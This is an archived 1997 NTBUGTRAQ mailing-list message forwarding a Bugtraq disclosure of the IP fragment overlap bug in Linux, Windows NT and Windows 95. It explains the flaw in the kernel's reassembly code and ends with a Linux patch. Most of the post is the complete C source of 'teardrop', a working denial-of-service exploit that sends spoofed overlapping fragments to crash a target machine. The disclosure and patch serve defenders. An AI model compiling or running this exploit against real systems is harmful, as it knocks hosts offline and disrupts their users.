<body bgcolor="#FFFFFF" text="#000000" link="#0000FF" vlink="#FF0000">

<title>NTBUGTRAQ archives -- November 1997 (#36)</title>



<a name="TOP">

<table>

<tr><td valign=top><b>View:</b><td>

<a href="/SCRIPTS/WA-NTBT.EXE?A2=ind9711&L=ntbugtraq&D=0&F=P&P=4364">Next message</a> &#124; <a href="/SCRIPTS/WA-NTBT.EXE?A2=ind9711&L=ntbugtraq&D=0&F=P&P=4153">Previous message</a><br>

<a href="/SCRIPTS/WA-NTBT.EXE?A2=ind9711&L=ntbugtraq&D=0&F=P&P=4364">Next in topic</a> &#124; Previous in topic<br>

<a href="/SCRIPTS/WA-NTBT.EXE?A2=ind9711&L=ntbugtraq&D=0&F=P&P=4364">Next by same author</a> &#124; <a href="/SCRIPTS/WA-NTBT.EXE?A2=ind9711&L=ntbugtraq&D=0&F=P&P=3621">Previous by same author</a><br>

<a href="/SCRIPTS/WA-NTBT.EXE?A1=ind9711&L=ntbugtraq&D=0&F=P">Previous page <i>(November 1997)</i></a> &#124; <a href="/SCRIPTS/WA-NTBT.EXE?A0=ntbugtraq&D=0&F=P">Main NTBUGTRAQ page</a><br>

<a href="/SCRIPTS/WA-NTBT.EXE?SUBED1=ntbugtraq&D=0&F=P">Join or leave NTBUGTRAQ</a>

<br><a href="/SCRIPTS/WA-NTBT.EXE?P1=ind9711&P=4259&c=Russ.Cooper@RC.ON.CA&S=Re:+Linux/NT/w95+IP+fragment+overlap+bug&D=0&F=P&L=ntbugtraq">Reply</a> &#124; <a href="/SCRIPTS/WA-NTBT.EXE?P1&D=0&F=P&L=ntbugtraq">Post a new message</a>

<br><a href="/SCRIPTS/WA-NTBT.EXE?S1=ntbugtraq&D=0&F=P">Search</a>

<tr><td valign=top><b>Options:</b> &#160; <td>

Chronological order &#124; <a href="/SCRIPTS/WA-NTBT.EXE?A2=ind9711&L=ntbugtraq&D=0&F=P&P=4259&D=1">Most recent first</a><br>

Proportional font &#124; <a href="/SCRIPTS/WA-NTBT.EXE?A2=ind9711&L=ntbugtraq&D=0&F=P&P=4259&F=">Non-proportional font</a><br>

</table>

<p>

<hr>

<table compact><tr><td valign=top><b>Date:</b> &#160; <td>Tue, 18 Nov 1997 10:06:43 -0500

<tr><td valign=top><b>Reply-To:</b> &#160; <td>Russ &lt;Russ.Cooper@RC.ON.CA&gt;

<tr><td valign=top><b>Sender:</b> &#160; <td>Windows NT BugTraq Mailing List &lt;NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM&gt;

<tr><td valign=top><b>From:</b> &#160; <td><a href="/SCRIPTS/WA-NTBT.EXE?A2=ind9711&L=ntbugtraq&D=0&F=P&P=4364">Russ &lt;Russ.Cooper@RC.ON.CA&gt;

</a><tr><td valign=top><b>Subject:</b> &#160; <td><a href="/SCRIPTS/WA-NTBT.EXE?A2=ind9711&L=ntbugtraq&D=0&F=P&P=4364">Linux/NT/w95 IP fragment overlap bug

</a><tr><td valign=top><b>Content-Type:</b> &#160; <td>text/plain; charset="iso-8859-1"

</table><p>I apologize for not bringing this one to everyone's attention sooner, I

simply missed it in Bugtraq...;-[

<p>

Please note that although the description speaks of Linux being

exploitable, PC World News Radio recently published an article by Brian

Williams in which he quotes a source from Microsoft as acknowledging the

bug exists in "Windows". It's a reasonable assumption that Route knows

what he's talking about if he says it can affect NT also.

<p>

The exploit code can, apparently, only run on Unix as root. A malicious

version of this code has been released under the name Teardrop with the

stated intention of trying to get folks to run that program (Teardrop)

last Sunday at 6:00pm EST. Teardrop is modified to send the fragments to

hundreds or thousands of machines, an attempt to crash as much of the

Internet as possible. Route has disassociated himself from the author of

Teardrop stating "That's just plain wrong. That code is written

specifically ... to crash a large [number] of machines. My code is not

designed to do that.".

<p>

Cheers,

Russ

<p>

-----Original Message-----

From:   G P R [SMTP:route@RESENTMENT.INFONEXUS.COM]

Sent:   Friday, November 14, 1997 1:06 AM

To:     BUGTRAQ@NETSPACE.ORG

Subject:        Linux IP fragment overlap bug

<p>

<p>

    Helu.

<p>

    I wrote this post a while back when the bug was first discovered.

It seems as though this bug (and patch) has gotten out, so here it is,

in it's entirety.

<p>

    As it happens, Linux has a serious bug in it's IP fragmentation

module. More specifically, in the fragmentation reassembly code.

More specifically, the bug manifests itself in the `ip_glue()`

function....

<p>

    When Linux reassembles IP fragments to form the original IP

datagram, it runs in a loop, copying the payload from all the queued

fragments into a newly allocated buffer (which would then normally be

passed to the IP layer proper). From ip_fragment.c@376:

<p>

        fp = qp-&gt;fragments;

        while(fp != NULL)

        {

                if(count+fp-&gt;len &gt; skb-&gt;len)

                {

                    error_to_big;

                }

                memcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);

                count += fp-&gt;len;

                fp = fp-&gt;next;

        }

<p>

    While it does check to see if the fragment length is too large,

which would have the kernel copy too much data, it doesn't check to

see if the fragment length is too small, which would have the kernel

copy WAY too data (such is the case if fp-&gt;len is &lt; 0).

<p>

    To see when this happens, we need to look at how Linux adds IP

datagrams to the reassembly queue.  From ip_fragment.c@502:

<p>

        /*

         *      Determine the position of this fragment.

         */

<p>

        end = offset + ntohs(iph-&gt;tot_len) - ihl;

<p>

    Ok.  That's nice.  Now we have to look at what happens when we

have overlaping fragments...  From ip_fragment.c@531:

<p>

        /*

         *      We found where to put this one.

         *      Check for overlap with preceding fragment, and, if

         *      needed, align things so that any overlaps are

         *      eliminated.

         */

        if (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)

        {

                i = prev-&gt;end - offset;

                offset += i;    /* ptr into datagram */

                ptr += i;       /* ptr into fragment data */

        }

<p>

    If we find that the current fragment's offset is inside the end of

a previous fragment (overlap), we need to (try) align it correctly.

Well, this is fine and good, unless the payload of the current

fragment happens to NOT contain enough data to cover the realigning.

In that case, `offset` will end up being larger then `end`.  These two

values are passed to `ip_frag_create()` where the length of the

fragment data is computed.  From ip_fragment.c@97:

<p>

        /* Fill in the structure. */

        fp-&gt;offset = offset;

        fp-&gt;end = end;

        fp-&gt;len = end - offset;

<p>

    This results in fp-&gt;len being negative and the memcpy() at the top

will end up trying to copy entirely too much data, resulting in a

reboot or a halt, depending on how much physical memory you've got.

<p>

    We can trigger this normally unlikely event by simply sending 2

specially fragmented IP datagrams.  The first is the 0 offset fragment

with a payload of size N, with the MF bit on (data content is

irrelevant).  The second is the last fragment (MF == 0) with a positive

offset &lt; N and with a payload of &lt; N.

<p>

    Every linux implementation I have been able to look at seems to

have this problem (1.x - 2.x, including the development kernels).

<p>

    Oh, by the way, NT/95 appear to have the bug also.  Try sending

10 - 15 of these fragment combos to an NT/95 machine.

<p>

    Special thanks to klepto for bringing the problem to my attention

and writing the initial exploit.

<p>

            route|daemon9           route@infonexus.com

<p>

------[Begin] -- Guby Linux ------------------------------------------

<p>

/*

 *  Copyright (c) 1997 route|daemon9  &lt;route@infonexus.com&gt; 11.3.97

 *

 *  Linux/NT/95 Overlap frag bug exploit

 *

 *  Exploits the overlapping IP fragment bug present in all Linux

 *  kernels and NT 4.0 / Windows 95 (others?)

 *

 *  Based off of:   flip.c by klepto

 *  Compiles on:    Linux, *BSD*

 *

 *  gcc -O2 teardrop.c -o teardrop

 *      OR

 *  gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING

 */

<p>

#include &lt;stdio.h&gt;

<br>#include &lt;stdlib.h&gt;

<br>#include &lt;unistd.h&gt;

<br>#include &lt;string.h&gt;

<br>#include &lt;netdb.h&gt;

<br>#include &lt;netinet/in.h&gt;

<br>#include &lt;netinet/udp.h&gt;

<br>#include &lt;arpa/inet.h&gt;

<br>#include &lt;sys/types.h&gt;

<br>#include &lt;sys/time.h&gt;

<br>#include &lt;sys/socket.h&gt;

<p>

#ifdef STRANGE_BSD_BYTE_ORDERING_THING

                        /* OpenBSD &lt; 2.1, all FreeBSD and netBSD,

                         * BSDi &lt; 3.0

                         */

<br>#define FIX(n)  (n)

<br>#else                   /* OpenBSD 2.1, all Linux */

<br>#define FIX(n)  htons(n)

<br>#endif  /* STRANGE_BSD_BYTE_ORDERING_THING */

<p>

#define IP_MF   0x2000  /* More IP fragment en route */

<br>#define IPH     0x14    /* IP header size */

<br>#define UDPH    0x8     /* UDP header size */

<br>#define PADDING 0x1c    /* datagram frame padding for first packet */

<br>#define MAGIC   0x3     /* Magic Fragment Constant (tm).  Should

                         * be 2 or 3

                         */

<br>#define COUNT   0x1     /* Linux dies with 1, NT is more stalwart

                         * and can withstand maybe 5 or 10 sometimes...

                         * Experiment.

                         */

void usage(u_char *);

u_long name_resolve(u_char *);

u_short in_cksum(u_short *, int);

void send_frags(int, u_long, u_long, u_short, u_short);

<p>

int main(int argc, char **argv)

<br>{

    int one = 1, count = 0, i, rip_sock;

    u_long  src_ip = 0, dst_ip = 0;

    u_short src_prt = 0, dst_prt = 0;

    struct in_addr addr;

<p>

    fprintf(stderr, "teardrop   route|daemon9\n\n");

<p>

    if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)

    {

        perror("raw socket");

        exit(1);

    }

    if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one,

sizeof(one))

        &lt; 0)

    {

        perror("IP_HDRINCL");

        exit(1);

    }

    if (argc &lt; 3) usage(argv[0]);

    if (!(src_ip = name_resolve(argv[1])) || !(dst_ip =

name_resolve(argv[2])))

    {

        fprintf(stderr, "What the hell kind of IP address is that?\n");

        exit(1);

    }

<p>

    while ((i = getopt(argc, argv, "s:t:n:")) != EOF)

    {

        switch (i)

        {

            case 's':               /* source port (should be

emphemeral) */

                src_prt = (u_short)atoi(optarg);

                break;

            case 't':               /* dest port (DNS, anyone?) */

                dst_prt = (u_short)atoi(optarg);

                break;

            case 'n':               /* number to send */

                count   = atoi(optarg);

                break;

            default :

                usage(argv[0]);

                break;              /* NOTREACHED */

        }

    }

    srandom((unsigned)(time((time_t)0)));

    if (!src_prt) src_prt = (random() % 0xffff);

    if (!dst_prt) dst_prt = (random() % 0xffff);

    if (!count)   count   = COUNT;

<p>

    fprintf(stderr, "Death on flaxen wings:\n");

    addr.s_addr = src_ip;

    fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);

    addr.s_addr = dst_ip;

    fprintf(stderr, "  To: %15s.%5d\n", inet_ntoa(addr), dst_prt);

    fprintf(stderr, " Amt: %5d\n", count);

    fprintf(stderr, "[ ");

<p>

    for (i = 0; i &lt; count; i++)

    {

        send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);

        fprintf(stderr, "b00m ");

        usleep(500);

    }

    fprintf(stderr, "]\n");

    return (0);

<br>}

<p>

/*

 *  Send two IP fragments with pathological offsets.  We use an

implementation

 *  independent way of assembling network packets that does not rely on

any of

 *  the diverse O/S specific nomenclature hinderances (well, linux vs.

BSD).

 */

<p>

void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,

                u_short dst_prt)

<br>{

    u_char *packet = NULL, *p_ptr = NULL;   /* packet pointers */

    u_char byte;                            /* a byte */

    struct sockaddr_in sin;                 /* socket protocol structure

<br>*/

<p>

    sin.sin_family      = AF_INET;

    sin.sin_port        = src_prt;

    sin.sin_addr.s_addr = dst_ip;

<p>

    /*

     * Grab some memory for our packet, align p_ptr to point at the

beginning

     * of our packet, and then fill it with zeros.

     */

    packet = (u_char *)malloc(IPH + UDPH + PADDING);

    p_ptr  = packet;

    bzero((u_char *)p_ptr, IPH + UDPH + PADDING);

<p>

    byte = 0x45;                        /* IP version and header length

<br>*/

    memcpy(p_ptr, &amp;byte, sizeof(u_char));

    p_ptr += 2;                         /* IP TOS (skipped) */

    *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);    /* total length

<br>*/

    p_ptr += 2;

    *((u_short *)p_ptr) = htons(242);   /* IP id */

    p_ptr += 2;

    *((u_short *)p_ptr) |= FIX(IP_MF);  /* IP frag flags and offset */

    p_ptr += 2;

    *((u_short *)p_ptr) = 0x40;         /* IP TTL */

    byte = IPPROTO_UDP;

    memcpy(p_ptr + 1, &amp;byte, sizeof(u_char));

    p_ptr += 4;                         /* IP checksum filled in by

kernel */

    *((u_long *)p_ptr) = src_ip;        /* IP source address */

    p_ptr += 4;

    *((u_long *)p_ptr) = dst_ip;        /* IP destination address */

    p_ptr += 4;

    *((u_short *)p_ptr) = htons(src_prt);       /* UDP source port */

    p_ptr += 2;

    *((u_short *)p_ptr) = htons(dst_prt);       /* UDP destination port

<br>*/

    p_ptr += 2;

    *((u_short *)p_ptr) = htons(8 + PADDING);   /* UDP total length */

<p>

    if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr

<br>*)&amp;sin,

                sizeof(struct sockaddr)) == -1)

    {

        perror("\nsendto");

        free(packet);

        exit(1);

    }

<p>

    /*  We set the fragment offset to be inside of the previous packet's

     *  payload (it overlaps inside the previous packet) but do not

include

     *  enough payload to cover complete the datagram.  Just the header

will

     *  do, but to crash NT/95 machines, a bit larger of packet seems to

work

     *  better.

     */

    p_ptr = &amp;packet[2];         /* IP total length is 2 bytes into the

header */

    *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);

    p_ptr += 4;                 /* IP offset is 6 bytes into the header

<br>*/

    *((u_short *)p_ptr) = FIX(MAGIC);

<p>

    if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr

<br>*)&amp;sin,

                sizeof(struct sockaddr)) == -1)

    {

        perror("\nsendto");

        free(packet);

        exit(1);

    }

    free(packet);

<br>}

<p>

u_long name_resolve(u_char *host_name)

<br>{

    struct in_addr addr;

    struct hostent *host_ent;

<p>

    if ((addr.s_addr = inet_addr(host_name)) == -1)

    {

        if (!(host_ent = gethostbyname(host_name))) return (0);

        bcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr,

host_ent-&gt;h_length);

    }

    return (addr.s_addr);

<br>}

<p>

void usage(u_char *name)

<br>{

    fprintf(stderr,

            "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n

how_many ]\n",

            name);

    exit(0);

<br>}

<p>

/* EOF */

<p>

------[End] -- Guby Linux --------------------------------------------

<p>

    And the patch:

<p>

------[Begin] -- Helu Linux ------------------------------------------

<p>

--- ip_fragment.c       Mon Nov 10 14:58:38 1997

<br>+++ ip_fragment.c.patched       Mon Nov 10 19:18:52 1997

<br>@@ -12,6 +12,7 @@

  *             Alan Cox        :       Split from ip.c , see ip_input.c

for history.

  *             Alan Cox        :       Handling oversized frames

  *             Uriel Maimon    :       Accounting errors in two fringe

cases.

<br>+ *             route           :       IP fragment overlap bug

  */

<p>

 #include &lt;linux/types.h&gt;

<br>@@ -578,6 +579,22 @@

                        frag_kfree_s(tmp, sizeof(struct ipfrag));

                }

        }

<br>+

<br>+        /*

<br>+         * Uh-oh.  Some one's playing some park shenanigans on us.

<br>+         * IP fragoverlap-linux-go-b00m bug.

<br>+         * route 11.3.97

<br>+         */

<br>+

<br>+        if (offset &gt; end)

<br>+        {

<br>+                skb-&gt;sk = NULL;

<br>+                printk("IP: Invalid IP fragment (offset &gt; end) found

from %s\n", in_ntoa(iph-&gt;saddr));

<br>+                kfree_skb(skb, FREE_READ);

<br>+                ip_statistics.IpReasmFails++;

<br>+                ip_free(qp);

<br>+                return NULL;

<br>+        }

<p>

        /*

         *      Insert this fragment in the chain of fragments.

<p>

------[End] -- Helu Linux --------------------------------------------

<p>

EOF

<p>

--

        Corporate

                Persuasion

                         Through

                               Internet

                                      Terrorism.

<hr>Back to: <a href="#TOP">Top of message</a> &#124; <a href="/SCRIPTS/WA-NTBT.EXE?A1=ind9711&L=ntbugtraq&D=0&F=P">Previous page</a> &#124; <a href="/SCRIPTS/WA-NTBT.EXE?A0=ntbugtraq&D=0&F=P">Main NTBUGTRAQ page</a><p>

<hr>

<a href="http://www.lsoft.com/LISTSERV-powered.html">

<img src="/archives/lpowered.gif" align=right border=0></a>

<a href="http://www.lsoft.com/lists/listref.html">

<img src="/archives/catalist.gif" border=0 align=right></a>

<font size=-1>

Back to the <a href="/archives/index.html">LISTSERV.NTBUGTRAQ.COM archive index.</a>

</font>

